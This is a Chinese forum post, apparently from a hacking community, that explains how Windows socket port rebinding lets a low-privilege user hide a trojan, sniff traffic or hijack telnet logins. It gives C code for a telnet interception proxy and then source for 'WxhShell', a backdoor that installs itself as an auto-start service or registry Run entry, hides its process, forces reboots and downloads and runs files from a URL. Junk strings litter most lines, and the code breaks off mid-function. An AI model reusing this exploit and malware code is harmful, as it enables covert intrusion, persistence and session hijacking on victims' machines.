社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10788阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8xQjJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YCnKX<Wv  
k$v8cE  
  saddr.sin_family = AF_INET; XYdr~/[HPy  
PWbi`qF)r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?2i\E RG?  
j#[%-nOT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5BsfbLKC  
gq[`g=x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _yP02a^2  
sTChbks  
  这意味着什么?意味着可以进行如下的攻击: \>nY%*  
yi@mf$A|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Kb,#Ot  
(Q~ (t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6*tbil_G+  
>a$b4 pvh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,J ZM%f  
2X!!RS>qg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I^itlQ  
<9yB& ^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #) bqn|0l  
fOkB|E]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j O6yZt  
\\i$zRi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UgAG2  
vQhi2J'  
  #include f$p7L.d<  
  #include T$r?LIa ,Q  
  #include )!jX$bK  
  #include    &p6^    
  DWORD WINAPI ClientThread(LPVOID lpParam);   ztHEXM.  
  int main() ~zD*=h2C  
  { :Yy8Ie#  
  WORD wVersionRequested; (043G[H'.  
  DWORD ret; JTI 'W  
  WSADATA wsaData; Dh~Z 8!*  
  BOOL val; XbMAcgS  
  SOCKADDR_IN saddr; 8@J5tFJ&%  
  SOCKADDR_IN scaddr; l5fF.A7TT  
  int err; nk^-+olm  
  SOCKET s; n,.t~  
  SOCKET sc; k%fy  
  int caddsize; vB;$AFh{  
  HANDLE mt; }}MZgm~U)  
  DWORD tid;   AagWswv{Bf  
  wVersionRequested = MAKEWORD( 2, 2 ); ("-`Y'"K  
  err = WSAStartup( wVersionRequested, &wsaData ); 9o|#R&0  
  if ( err != 0 ) { ;gmfWHB<  
  printf("error!WSAStartup failed!\n"); c3G&)gU4q  
  return -1; ?2$0aq  
  } j~VHU89  
  saddr.sin_family = AF_INET; `.F+T)G  
   PML +$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j+7ok 5J#  
?)V}_%fVv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;)gNe:Q  
  saddr.sin_port = htons(23); -y5Z c?e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r]'Q5l4j6"  
  { I!uGI  
  printf("error!socket failed!\n"); 1?5UVv_F  
  return -1; 1l`$.k  
  } q26%Z)'nf  
  val = TRUE; <=7N2t)s4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K`% I!Br  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @!zT+W&  
  { cAAyyc"yJ  
  printf("error!setsockopt failed!\n"); wc6v:,&  
  return -1; &6}] v:  
  } z~+gche>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qpaan  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E+|r h-M7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ` "JslpN  
V- HO_GDo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [osm\w49  
  { TDnbX_xC<  
  ret=GetLastError(); P2^((c  
  printf("error!bind failed!\n"); .ugQH<B  
  return -1; ~PAbtY9}U  
  } <{yQNXf[  
  listen(s,2); 4hh=z>$|l)  
  while(1) zA?]AL(+YW  
  { b/ dyH  
  caddsize = sizeof(scaddr); Y%iimbBY|  
  //接受连接请求 BpQ/$?5E"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #m<<]L(o8W  
  if(sc!=INVALID_SOCKET) (!9ybH;T  
  { 0;pOQF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z`Cq,Sz/  
  if(mt==NULL) "-;l{tL  
  { B{+ Ra  
  printf("Thread Creat Failed!\n"); 70&]nb6f  
  break; sBfPhBT|  
  } en6oFPG   
  }  L4,Ke  
  CloseHandle(mt); 5{uK;Vxse  
  } ' y9yx[P  
  closesocket(s); A"8"e*  
  WSACleanup(); b!ea(D!:  
  return 0; d3|oKP6  
  }   r=3knCEWK  
  DWORD WINAPI ClientThread(LPVOID lpParam) @JL+xfz  
  { I N'a5&..  
  SOCKET ss = (SOCKET)lpParam; J}vxK H#=  
  SOCKET sc; &^W91C?<6  
  unsigned char buf[4096]; \dIQhF%%2  
  SOCKADDR_IN saddr; r$Z_Kwe.|&  
  long num; &QL!Y{=Y6  
  DWORD val; cjel6 nj  
  DWORD ret; z nc'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T)NnWEB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "RF<i3{S  
  saddr.sin_family = AF_INET; P,[O32i#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1TvR-.e  
  saddr.sin_port = htons(23); O7A W9*<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +Eh^j3W  
  { [Nn ?:5"  
  printf("error!socket failed!\n"); Cp@' k;(  
  return -1; 'l}T_7g  
  } }`,}e259  
  val = 100; !7O!)WJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) """gV)Y  
  { $"/xi `  
  ret = GetLastError(); 4mY(*2:HC  
  return -1; bf3Njma%  
  } UHEn+Tc>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r6Hdp  
  { 1E*No1  
  ret = GetLastError(); %EooGHGF?  
  return -1; 6SIk,Isy8  
  } 8C{mV^cn~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $`emP Hel  
  { <+QXGz1  
  printf("error!socket connect failed!\n"); DP D%8a)?  
  closesocket(sc); 07_ym\N  
  closesocket(ss); ]OZk+DU:  
  return -1; %;E/{gO  
  } =k1 ,jn+  
  while(1) vNhi5EU  
  { rK%A=Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -U?Udmov  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {5=Iu\e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YYz,sR'%|}  
  num = recv(ss,buf,4096,0); w< hw>e^.  
  if(num>0) KKd S h1  
  send(sc,buf,num,0); Qw{LD+r(  
  else if(num==0) bnz2\C9^  
  break; ]S6`",+)<f  
  num = recv(sc,buf,4096,0); E-\<,=bh  
  if(num>0) -];/*nl  
  send(ss,buf,num,0); &_^t$To  
  else if(num==0) 4X@ <PX5  
  break; 0z2A!ap  
  } p. eq N  
  closesocket(ss); Y?(kE` R  
  closesocket(sc); 3f2%+2Zjt,  
  return 0 ; A?V[/  
  } #-_';Er\  
U9[ &ci  
k|$08EK $  
========================================================== S`Jo^!VJ4  
:)UF#  
下边附上一个代码,,WXhSHELL 8X@p?43  
S0\;FmLIc  
========================================================== 7|IOn5  
*Op;].>E  
#include "stdafx.h" >xU$)uE&  
)x/Spb  
#include <stdio.h> UJXRL   
#include <string.h> UN <s1  
#include <windows.h> =rA"|=  
#include <winsock2.h> Tl^9!>\Q  
#include <winsvc.h> @O/Jy2>3H  
#include <urlmon.h> NW'rqgG  
Q2c|sK8  
#pragma comment (lib, "Ws2_32.lib") W)dQ yZ>J  
#pragma comment (lib, "urlmon.lib") (5s$vcK  
ieN}Ajl2  
#define MAX_USER   100 // 最大客户端连接数 0UEEvD5  
#define BUF_SOCK   200 // sock buffer v)*/E'Cr*  
#define KEY_BUFF   255 // 输入 buffer W0X/&v,k*  
{8)Pke  
#define REBOOT     0   // 重启 7cGc`7  
#define SHUTDOWN   1   // 关机 =/Ob kVYf  
d`he Wv^/`  
#define DEF_PORT   5000 // 监听端口 Jhclg0q  
M^c`j#NQ  
#define REG_LEN     16   // 注册表键长度 U{vt9t  
#define SVC_LEN     80   // NT服务名长度 g]IRv(gDh  
v=A ]#O%  
// 从dll定义API '~HCYE:5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zl69d4vG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?MT V!i0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O,`#h*{N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @l)HX'z0d  
 2D;,'  
// wxhshell配置信息 )[d?&GK  
struct WSCFG { gOpi>  
  int ws_port;         // 监听端口 2lVJ"jg  
  char ws_passstr[REG_LEN]; // 口令 /;7\HZ$@/  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~c&ygL3  
  char ws_regname[REG_LEN]; // 注册表键名 3;@/`Z_\lt  
  char ws_svcname[REG_LEN]; // 服务名 'OI Ol  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S+^*rw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >wz& {9ni  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {sn RS)-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z)?i&y?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &Kuo|=f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EZy:_xjZ  
AJ_''%$I3:  
}; Zj@k3y  
Arg604V3  
// default Wxhshell configuration ~)\9f 1O{^  
struct WSCFG wscfg={DEF_PORT, zn| S3c  
    "xuhuanlingzhe", gnjh=anVX1  
    1, q\2q3}n  
    "Wxhshell", dW K; h  
    "Wxhshell", J#h2~Hz!  
            "WxhShell Service", B$R"Ntp  
    "Wrsky Windows CmdShell Service", {E6M_qZ  
    "Please Input Your Password: ", OAoTsqj6  
  1, f)`_su U  
  "http://www.wrsky.com/wxhshell.exe", ^}JGWGib=+  
  "Wxhshell.exe" "gD]K=  
    }; xq`mo  
OF[y$<jM  
// 消息定义模块 Sz_bjhyT}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )Gf"#TM[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ch|4"&g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f{ ;L"*L  
char *msg_ws_ext="\n\rExit."; h^yLmRL  
char *msg_ws_end="\n\rQuit."; xLxXc!{J5  
char *msg_ws_boot="\n\rReboot..."; =L,s6J8_'  
char *msg_ws_poff="\n\rShutdown..."; H =Y7#{}  
char *msg_ws_down="\n\rSave to "; #2`ST=#  
c1!0Z28  
char *msg_ws_err="\n\rErr!"; _[D6 WY+  
char *msg_ws_ok="\n\rOK!"; *C/bf)w  
{y5v"GR{YM  
char ExeFile[MAX_PATH]; 05 P#gs`<  
int nUser = 0; yQAW\0`  
HANDLE handles[MAX_USER]; Y nD_:ZK  
int OsIsNt; v:2*<;  
D hN{Y8'~  
SERVICE_STATUS       serviceStatus;  F#0y0|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m2%OX"#e  
B|\pzWD%  
// 函数声明 G~z=,72  
int Install(void); K90wX1&  
int Uninstall(void); PxuE(n V[  
int DownloadFile(char *sURL, SOCKET wsh); :%_*C09  
int Boot(int flag); (u/-ud1p  
void HideProc(void); :Ma=P\J W  
int GetOsVer(void); ORVFp]gG  
int Wxhshell(SOCKET wsl); Ll" Kxg  
void TalkWithClient(void *cs); >XTDN  
int CmdShell(SOCKET sock); $KSdNFtM)A  
int StartFromService(void); GyirE`  
int StartWxhshell(LPSTR lpCmdLine); MHl ffj  
VFmG\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u'Od~x^z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @1+gY4g  
_/FpmnaY  
// 数据结构和表定义 I&2)@Zw  
SERVICE_TABLE_ENTRY DispatchTable[] = }XOTK^YA  
{ ~>&Jks_Q  
{wscfg.ws_svcname, NTServiceMain}, 4Ss4jUj  
{NULL, NULL} *$%ch=  
}; ld*W\  
F0 .Rv):  
// 自我安装 v'0WE  
int Install(void) Q9Tt3h2ga  
{ = aO1uC|6C  
  char svExeFile[MAX_PATH]; mP!=&u fcU  
  HKEY key; kGz0`8U Ru  
  strcpy(svExeFile,ExeFile); Ox| ?  
O4)'78ATp  
// 如果是win9x系统,修改注册表设为自启动 }u3Q*oAGl  
if(!OsIsNt) { ; 9n}P@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %4bGI/\/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z%FBHj  
  RegCloseKey(key); D8OW|wVE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 71S~*"O0f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <0EVq8h  
  RegCloseKey(key); *5e"suS2  
  return 0; UyFvj4SU  
    } g2Hz[C(  
  } sJI" m'r=Z  
} aXv[~  
else { 3I"xuKxc  
k?!CJ@5$  
// 如果是NT以上系统,安装为系统服务 _Wb3,E a=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5L?_AUL  
if (schSCManager!=0) '' Pu  
{ U4$}8~o4  
  SC_HANDLE schService = CreateService Jw+k=>  
  ( g!QX#_~Il  
  schSCManager, 2|6E{o  
  wscfg.ws_svcname, `>HM<Nn-0  
  wscfg.ws_svcdisp, @IXvp3r  
  SERVICE_ALL_ACCESS, pr=f6~Z-y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;7:_:o[.  
  SERVICE_AUTO_START, !~j-5+DI  
  SERVICE_ERROR_NORMAL, j7(S=  
  svExeFile, E Pd9'9S  
  NULL, rtjUHhF  
  NULL, s%bm1$}  
  NULL, S17iYjy#8T  
  NULL, E;o "^[we  
  NULL ;bYpMcH  
  ); hL?"!  
  if (schService!=0) [-5l=j r  
  {  ~ERA  
  CloseServiceHandle(schService); TPBL|^3K  
  CloseServiceHandle(schSCManager); r_"=DLx6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pu"m(9  
  strcat(svExeFile,wscfg.ws_svcname); U } K]W>Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M?gc&2 Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >D\jyd$wh&  
  RegCloseKey(key); mXSs:FqE!  
  return 0; L*(!P4S%}  
    } >;sz(F3)  
  } HV?Q{X K.b  
  CloseServiceHandle(schSCManager); vY"i^a`f  
} 'NAC4to;;  
} {Mv$~T|e7  
.UGbo.e  
return 1;  Qi;62M  
} Ya*<me>`  
-d*zgP  
// 自我卸载 nb30<h  
int Uninstall(void) 0en Bq>vr  
{ Pb] EpyAW  
  HKEY key; {qJ(55  
} %bP9  
if(!OsIsNt) { _SQQS67fu"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g7l?/p[n  
  RegDeleteValue(key,wscfg.ws_regname); 6k=*O|r  
  RegCloseKey(key); "9v4'"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d69synEw>k  
  RegDeleteValue(key,wscfg.ws_regname); z+5%.^Re  
  RegCloseKey(key); Gbwq rH+  
  return 0; xf7_|l  
  } nB9(y4  
}  WJ&a9]&C  
} AxAbU7m  
else { %E"dha JY  
-+HD5Hc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )JXlPU  
if (schSCManager!=0) c}G\F$  
{ =M],5<2;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VkD}gJY  
  if (schService!=0) Q`zW[Y&]  
  { =K;M\_k%y  
  if(DeleteService(schService)!=0) { >Tp`Kri  
  CloseServiceHandle(schService); 2[X\*"MQ2  
  CloseServiceHandle(schSCManager); DedY(JOvB  
  return 0; 3EA+tG4KnO  
  } 3%(BZ23  
  CloseServiceHandle(schService); /=@V5)  
  } U3^3nL-M9  
  CloseServiceHandle(schSCManager); &Cm$%3  
} %jh gKq  
} G6XDPr:}  
Vpe\Okt:  
return 1; %0_}usrsk  
} C~X"ZW:d[  
:>*0./hG  
// 从指定url下载文件 08qM?{z o^  
int DownloadFile(char *sURL, SOCKET wsh) ]j+J^g  
{ ,382O$C  
  HRESULT hr; 9YvK<i&I  
char seps[]= "/"; <i ";5+  
char *token; 7?p>v34A  
char *file; DmiZ"A  
char myURL[MAX_PATH]; =`OnFdI  
char myFILE[MAX_PATH]; Fql|0Fq  
`9& ~fWu  
strcpy(myURL,sURL); J,D^fVIw  
  token=strtok(myURL,seps); QIC? `hk1  
  while(token!=NULL) fA"9eUu  
  { ^u+#x2$Mg  
    file=token; ~[Z,:=z  
  token=strtok(NULL,seps); mO0}Go8  
  } .YlhK=d4  
 _W  
GetCurrentDirectory(MAX_PATH,myFILE); $g!iy'4n*  
strcat(myFILE, "\\"); {:TOm0eK  
strcat(myFILE, file); 7srq~;j3  
  send(wsh,myFILE,strlen(myFILE),0); gXvE^fE  
send(wsh,"...",3,0); H Xb_k1n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k9!eu j&  
  if(hr==S_OK) t8f:?  
return 0; sP@7%p>wt  
else (2(y9r*1  
return 1; #A 7|=E  
jL0=a.;  
} eZ|_wB'r  
vEc<|t  
// 系统电源模块 c+ukVn`r  
int Boot(int flag) Y(;u)uN_  
{ ^ pNA_s!S  
  HANDLE hToken; $Ned1@%[  
  TOKEN_PRIVILEGES tkp; c@x6<S%*  
}q=tg9  
  if(OsIsNt) { $QnsP#ePN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6 2LLfD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9dwLkr  
    tkp.PrivilegeCount = 1; @;7Ht Z`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P*/ig0_fM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =\IUBH+C  
if(flag==REBOOT) { ]VoJ7LoCZ'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "J{A}g[  
  return 0; [8'^"  
} ]Q -.Y-J/O  
else { z,g\7F[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ttY[\D&ZS  
  return 0; &HtG&RvQf  
} /pL'G`  
  } w3FEX$`_  
  else { R,`3 SW()  
if(flag==REBOOT) { ltlnXjRUv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OWZ;X}x  
  return 0; e3WEsD+  
} >">grDX  
else { ss4YeZa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E&;;2  
  return 0; XB<Q A>dLh  
} N=j$~,yG  
} 9)$gD  
H`nd |  
return 1; *})Np0k  
} !X\aZ{}Q  
d Z x  
// win9x进程隐藏模块 ->'xjD  
void HideProc(void) BeFXC5-qat  
{ \t]_UNGyW  
x$) E^|A+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tja7y"(]  
  if ( hKernel != NULL ) bO+ e?&vQ%  
  { LY2QKjgP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [6CWgQ%Ue  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CcZM0  
    FreeLibrary(hKernel); #ds@!u+&  
  } 7 b 8pWM  
>M7(<V  
return; SN;_.46k  
} %=)%$n3=-M  
kudXwj  
// 获取操作系统版本 87rHW@\](  
int GetOsVer(void) |XJ|vQGU  
{ 2XrYm"6w  
  OSVERSIONINFO winfo; zKQXmyO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c@ lH  
  GetVersionEx(&winfo); *0z'!m12  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Eb p=du  
  return 1; DpIk$X  
  else a6'T]DW0W  
  return 0; }CvhLjo  
} ~:N 1[  
$s,(-C   
// 客户端句柄模块 m}]\^$d  
int Wxhshell(SOCKET wsl) wu3p2#-Z  
{ wRJ`RKJ-T  
  SOCKET wsh; 9'A^n~JHF  
  struct sockaddr_in client; [_HOD^  
  DWORD myID; w sbzGW~=  
O+=C8  
  while(nUser<MAX_USER) gp4@6HuUd  
{ 5UvqE_  
  int nSize=sizeof(client); Y{<SD-ibZ$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6*s:I&  
  if(wsh==INVALID_SOCKET) return 1; -+W E9  
'~E=V:6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c\VD8 :  
if(handles[nUser]==0) tJpK/"R'  
  closesocket(wsh); 9:7&`J lC#  
else d_ji ..T  
  nUser++; oG=4&SQ  
  } T&->xe f=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S6{u(= H  
Dyh|F\T  
  return 0; cG5u$B  
} Hu"TEhW(2  
w\ddC DZ  
// 关闭 socket R/kF,}^F  
void CloseIt(SOCKET wsh) *mkL>v &  
{ lbC9^~T+  
closesocket(wsh); /|8/C40aY  
nUser--; <X ([VZ  
ExitThread(0); j"n"=rTTQ  
} T]2=  
0xc|Wn>  
// 客户端请求句柄 S&NWZ:E3[  
void TalkWithClient(void *cs) =$#=w?~%  
{ "X\6tl7a|  
H4uHCkj  
  SOCKET wsh=(SOCKET)cs; fy={  
  char pwd[SVC_LEN]; 7,FhKTV1/  
  char cmd[KEY_BUFF]; uEr['>  
char chr[1]; [BFPIVD)h]  
int i,j; qD{~QHDa  
_c,{}sn  
  while (nUser < MAX_USER) { wpcqgc  
QZFH>,d  
if(wscfg.ws_passstr) { 4}Yn!"jW&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R,m|+[sl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]p8<Vluv  
  //ZeroMemory(pwd,KEY_BUFF); zG\:#,9  
      i=0; D/puK  
  while(i<SVC_LEN) { ,&s%^I+CC  
["15~9  
  // 设置超时 a6 w'.]m  
  fd_set FdRead; 9z7rv,  
  struct timeval TimeOut; HrHtA]  
  FD_ZERO(&FdRead); b&*N  
  FD_SET(wsh,&FdRead); JwdvY]  
  TimeOut.tv_sec=8; LQJC]*b1  
  TimeOut.tv_usec=0; _J>!K'Dz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .Xk#Cwm'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a$$aM2.2  
Dmr3r[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '?d5L+9  
  pwd=chr[0]; H Yw7*  
  if(chr[0]==0xd || chr[0]==0xa) { t_ id/  
  pwd=0; d?N[bA  
  break; MC%!>,tC  
  } *`V r P  
  i++; R[}fr36>/  
    } !%/(a)B$^$  
mLDuizWI  
  // 如果是非法用户,关闭 socket ozW\`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]BfJ~+ N  
} ^ >#@qMw  
xPzBbe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);   9EWw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @P<aTRy,f  
dlBr2 9  
while(1) { N[kl3h%q  
lCGEd  3  
  ZeroMemory(cmd,KEY_BUFF); %:\GYs(Y  
A}_0iwG  
      // 自动支持客户端 telnet标准   VbX$\Cs:  
  j=0; EXti  
  while(j<KEY_BUFF) { x| r#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .qrS[ w  
  cmd[j]=chr[0]; G' mg-{  
  if(chr[0]==0xa || chr[0]==0xd) { na_Wp^;  
  cmd[j]=0; t""d^a#Dp  
  break; yQ| V7G  
  } E51S#T  
  j++; lF~!F<^9  
    } S0?e/VWy  
\ \gAa-}:  
  // 下载文件 -d^c!Iu|  
  if(strstr(cmd,"http://")) { p$a+?5'Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >f(M5v(D\  
  if(DownloadFile(cmd,wsh)) q>[}JtXK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Ji=fh+  
  else SyI i*dH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nh1, w  
  } *kt%.wPJ  
  else { ]~4*ak=)5\  
Tfw5i,{  
    switch(cmd[0]) { cQ(,M  
  .cB>ab&  
  // 帮助 S%o6cl=  
  case '?': { scZ&}Ni  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pa"[&{:  
    break; 3W}qNY;J  
  } %S<))G  
  // 安装 lhB;jE  
  case 'i': { /l;_ xs  
    if(Install()) R_b)2FU1y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZV$!dHW/  
    else tD> qHR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G4wJv^6i9  
    break; dm"|\7  
    } L 7l"*w(  
  // 卸载 g&X X@I8+v  
  case 'r': { =m U</F)  
    if(Uninstall()) `Wp y6o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nl9}*3r  
    else "MgTfUIiyD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  !qTP  
    break; )npvy>C'(  
    } UDV6 ##$  
  // 显示 wxhshell 所在路径 fcw/l,k9  
  case 'p': { `2n%Lo?_  
    char svExeFile[MAX_PATH]; !XO"lS  
    strcpy(svExeFile,"\n\r"); h&z(;B!;y.  
      strcat(svExeFile,ExeFile); ;Ngu(es6  
        send(wsh,svExeFile,strlen(svExeFile),0); L<p.2[3  
    break; >z k6{kC  
    } wPaMYxO/  
  // 重启 DlQ*'PX7  
  case 'b': { :xC1Ka%~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l|fb;Giq=D  
    if(Boot(REBOOT)) _7,4C?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #ib?6=sPC  
    else { cCqmrjUmV  
    closesocket(wsh); As(6E}{S  
    ExitThread(0); G<`6S5J>hr  
    } 2bxW`.fa  
